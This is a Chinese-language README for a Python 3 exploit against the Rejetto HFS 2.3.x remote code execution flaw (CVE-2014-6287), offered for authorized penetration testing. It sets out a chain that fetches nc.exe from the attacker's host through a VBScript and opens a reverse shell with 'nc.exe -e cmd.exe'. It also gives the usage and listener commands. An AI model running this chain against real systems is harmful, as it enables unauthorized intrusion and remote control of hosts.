HFS 远程命令执行漏洞利用（CVE-2014-6287）

这是经典远程命令执行（RCE）漏洞利用程序的 Python 3 重写版本，目标为 Rejetto HTTP 文件服务器（HFS）v2.3.x，利用了编号为 CVE-2014-6287 的漏洞。

该漏洞最初由 Avinash Kumar Thapa（又名“-Acid”） 发现，此版本提高了可移植性和易用性，提供了完全参数化和现代兼容性。

⚠️ 免责声明

本工具仅用于教育和授权渗透测试目的。未经授权对并非你拥有或未获明确许可的系统进行使用，是非法且不道德的。

📌 漏洞利用详情

• 漏洞： Rejetto HFS v2.3.x - 远程命令执行
• CVE： CVE-2014-6287
• 影响： 以系统权限远程执行代码
• 要求： 目标必须运行启用了脚本功能的易受攻击版本的 HFS。

🚀 功能特性

• 完全兼容 Python 3
• 通过 CLI 接受所有关键参数：
  • 目标 IP 和端口
  • 本地 IP（攻击者）
  • 反向 shell 的监听端口
  • 用于托管 nc.exe 的端口
• 无硬编码值
• 使用 VBScript 进行经典 nc.exe 反向 shell 投递
• 利用流程：
  1. 上传一个 VBScript 以下载 nc.exe
  2. 在目标上执行 VBScript
  3. 运行 nc.exe -e cmd.exe 以建立反向 shell

🛠️ 使用方法

python3 exploit.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LISTEN_LOCAL_PORT> <NC_DOWNLOAD_PORT>

示例：
python3 exploit.py 192.168.1.10 80 192.168.1.5 4444 8000

要求：
  - 提供 nc.exe 的 HTTP 服务器：
      python3 -m http.server 8000
  - 监听器：
      nc -lvnp 4444